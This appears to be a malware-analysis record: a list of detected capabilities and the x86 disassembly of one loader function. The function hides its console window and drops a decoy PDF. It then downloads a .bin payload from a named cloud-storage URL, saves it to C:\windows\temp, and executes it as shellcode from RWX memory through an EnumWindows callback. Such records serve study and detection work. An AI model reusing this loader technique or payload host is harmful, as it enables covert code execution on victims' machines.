Function at 0x401040
Capabilities:
Allocate or change rwx memory
Create http request
Download and write a file
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Hide graphical window
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x5625f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x430]
push eax
mov esi, ecx
mov dword [ebp - 0x430], 8
mov dword [ebp - 0x42c], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00402f03
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call esi
push 0
push 0xf020
push 0x112
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
push 0x545978
push str.Wps2024_1.pdf
call fcn.004f5428
add esp, 8
mov ebx, eax
mov edi, 0x1869f
lea esp, [esp]
push 0
call fcn.004f5472
push eax
call fcn.004f543f
call fcn.004f5451
push ebx
push 1
lea ecx, [ebp - 0x20]
push 0x19
push ecx
mov byte [ebp - 0x1f], al
call fcn.004f561a
add esp, 0x18
dec edi
jne 0x4010d0
push 0x258
call esi
push 0x258
call esi
push 0x3c
call esi
push 0x258
call esi
push edi
push edi
push edi
push 1
push str.File_Downloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
jne 0x401150
push str.Failed_to_initialize_WinINet_library_n
call fcn.004f5694
add esp, 4
push 0x258
call esi
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f515d
mov esp, ebp
pop ebp
ret
push 0x3c
call esi
push 0
push 0x84000100
push 0
push 0
push str.https:__wwwkmnr6_1323570959.cos.ap_shanghai.myqcloud.com_kmnr6_6.bin
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x4011a5
push str.https:__wwwkmnr6_1323570959.cos.ap_shanghai.myqcloud.com_kmnr6_6.bin
push str.Failed_to_open_URL__s_n
call fcn.004f5694
add esp, 8
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x258
call esi
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f515d
mov esp, ebp
pop ebp
ret
push 0x258
call esi
push 0x5459b4
push 0x54598c
call fcn.004f5428
add esp, 8
push 0x3c
mov ebx, eax
call esi
lea edx, [ebp - 0x428]
push edx
push 0x400
lea eax, [ebp - 0x420]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40121d
mov eax, dword [ebp - 0x428]
test eax, eax
je 0x40121d
push ebx
push eax
lea ecx, [ebp - 0x420]
push 1
push ecx
call fcn.004f561a
add esp, 0x10
lea edx, [ebp - 0x428]
push edx
push 0x400
lea eax, [ebp - 0x420]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4011e2
push ebx
call fcn.004f57be
add esp, 4
push 0x258
call esi
push 0x258
call esi
push 0x545a40
push str.C:windows_tempC9.bin
call fcn.004f5428
add esp, 8
push 0x3c
mov ebx, eax
call esi
push 2
push 0
push ebx
call fcn.004f58bc
add esp, 0xc
push 0x258
call esi
push ebx
call fcn.004f5acc
add esp, 4
push 0x258
mov edi, eax
call esi
push 0
push 0
push ebx
call fcn.004f58bc
add esp, 0xc
push 0x258
call esi
push edi
call fcn.004f5b31
add esp, 4
push 0x258
mov dword [ebp - 0x424], eax
call esi
mov ecx, dword [ebp - 0x424]
push ebx
push 1
push edi
push ecx
call fcn.004f5e0f
add esp, 0x10
push 0x258
call esi
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x258
mov ebx, eax
call esi
mov edx, dword [ebp - 0x424]
push edi
push edx
push edi
push ebx
call fcn.004f5e2c
add esp, 0x10
push 0x258
call esi
push 0
push ebx
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x258
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004f515d
mov esp, ebp
pop ebp
ret